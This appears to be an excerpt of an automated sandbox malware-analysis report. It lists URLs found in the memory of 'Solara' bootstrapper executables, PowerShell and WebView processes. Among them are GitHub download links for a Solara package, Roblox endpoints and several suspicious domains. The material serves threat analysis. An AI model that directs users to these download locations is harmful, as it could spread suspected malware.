Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.hao123.com.11818wz.com/?e
Source: powershell.exe, 0000001D.00000002.2112101893.000002451D904000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micft.cx
Source: powershell.exe, 0000000B.00000002.2968565751.00000171494E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micom/pkiops/Docs/ry.htm0
Source: msedgewebview2.exe, 0000003A.00000002.1701143289.00003698001B4000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://zn728.tdg68.com
Source: msedgewebview2.exe, 0000003A.00000002.1701143289.00003698001B4000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://656a.com
Source: powershell.exe, 0000000B.00000002.1544114354.0000017130EE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1602726763.0000014DAA3F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.1582914780.00000128C8381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1553162384.000001F200001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1505040607.00000245053C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1599959323.000002CE84E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://browser.360.cn/saas/index.html
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://browser.cloud.huawei.com.cn/pc
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientsettings.roblox.com
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientsettings.roblox.com/v2/client-version/WindowsPlayer/ch
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000000.1609627288.000001F1F6E92000.00000002.00000001.01000000.00000015.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientsettings.roblox.com/v2/client-version/WindowsPlayer/channel/live
Source: powershell.exe, 0000001D.00000002.1815650740.0000024515436000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001D.00000002.1815650740.0000024515436000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001D.00000002.1815650740.0000024515436000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discovery.lenovo.com.cn/home
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discovery.lenovo.com.cn/home062291
Source: msedgewebview2.exe, 0000003A.00000002.1701143289.00003698001B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://edge.ilive.cn
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.000000000293F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Microsoft/monaco-css/blob/master/LICENSE.md
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002956000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Microsoft/monaco-html/blob/master/LICENSE.md
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002983000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Microsoft/monaco-json/blob/master/LICENSE.md
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002B4F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002C78000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002BAD000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002BAA000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002B96000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002AF4000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002C62000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002BEF000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002CBE000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002B3B000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002CEC000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002B0D000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002BC5000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002CE8000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002D00000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002CD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.00000000029AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Microsoft/monaco-typescript/blob/master/LICENSE.md
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.00000000028A2000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002876000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.00000000028B9000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002912000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.00000000028CF000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.00000000028E5000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.00000000029F3000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.000000000288C000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.000000000285A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Microsoft/vscode/blob/master/LICENSE.txt
Source: powershell.exe, 0000001E.00000002.1599959323.000002CE85097000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Bootstrapper.exe, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/quivings/Solara/raw/main/Files/Solara.Dir.zip
Source: SolaraBootstrapper.exe, 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Bootstrapper.exe, 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, SolaraBootstrapper.exe, 00000006.00000000.1373137600.0000000000462000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/quivings/Solara/raw/main/Files/Solara.Dir.zipK
Source: msedgewebview2.exe, 0000003A.00000002.1701309722.000036980020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hao.qq.com/?unc=Af31026&s=o400493_1
Source: msedgewebview2.exe, 0000003A.00000002.1702269800.00003698004F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hao123-static.cdn.bcebos.com/manual-res/jump_index.html
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ilive.lenovo.com.cn/?f=
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://internet-start.net/?
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedgewebview2.exe, 0000003A.00000003.1677368390.0000369800BD8000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000003.1693711550.0000369800C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: msedgewebview2.exe, 0000003A.00000002.1703955813.000036980086C000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000002.1705242356.0000369800C40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lx.pub
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mini.eastday.com/?qid=04433&rfstyle=qt
Source: msedgewebview2.exe, 0000003A.00000002.1701309722.000036980020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedgewebview2.exe, 0000003A.00000002.1701309722.000036980020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F18044A000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F18041D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ncs.roblox.com/upload
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://news.4399.com/aoyazhiguang/
Source: powershell.exe, 0000000B.00000002.2696584496.0000017140F53000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2956752639.0000014DBA466000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2930865740.00000128D83F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2775683103.000001F210077000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1815650740.0000024515436000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: msedgewebview2.exe, 0000003A.00000002.1701309722.000036980020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: msedgewebview2.exe, 0000003A.00000002.1701070282.0000369800194000.00000004.00000800.00020000.00000000.sdmp, msedgewebview2.exe, 0000003A.00000002.1705242356.0000369800C40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/
Source: msedgewebview2.exe, 0000003A.00000002.1701070282.0000369800194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/6
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002AC0000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002799000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002799000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/quivings/Solara/main/Files/Solara.Dir.zip
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F18044A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/quivings/Solara/main/Storage/p
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000000.1609627288.000001F1F6E92000.00000002.00000001.01000000.00000015.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F18044A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/quivings/Solara/main/Storage/patched.txt
Source: Bootstrapper.exe, Bootstrapper.exe, 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002751000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000006.00000000.1373137600.0000000000462000.00000002.00000001.01000000.0000000C.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F9439000.00000004.00000020.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2206633185.0000005B723FD000.00000004.00000010.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F946A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F946A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt.0
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txtd
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F9439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txtu
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redian.mnjunshi.com/?qid=tpnews
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redian.mnjunshi.com/?qid=tpnewsy_pcuni
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://so.lenovo.com.cn
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/100030_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/10305_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/10379.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/10379_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/107884_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/109832_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/110975_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/112689_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/115339_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/117227_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/117945_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/118852_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/122099_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/12669_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/127539_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/130389_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/130396.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/130396_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/132028.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/133630_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/134302_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/136516_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/137116_3.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/137953_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/1382_2.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/145991_4.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/151915_1.htm
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.4399.com/flash/155283_1.htm
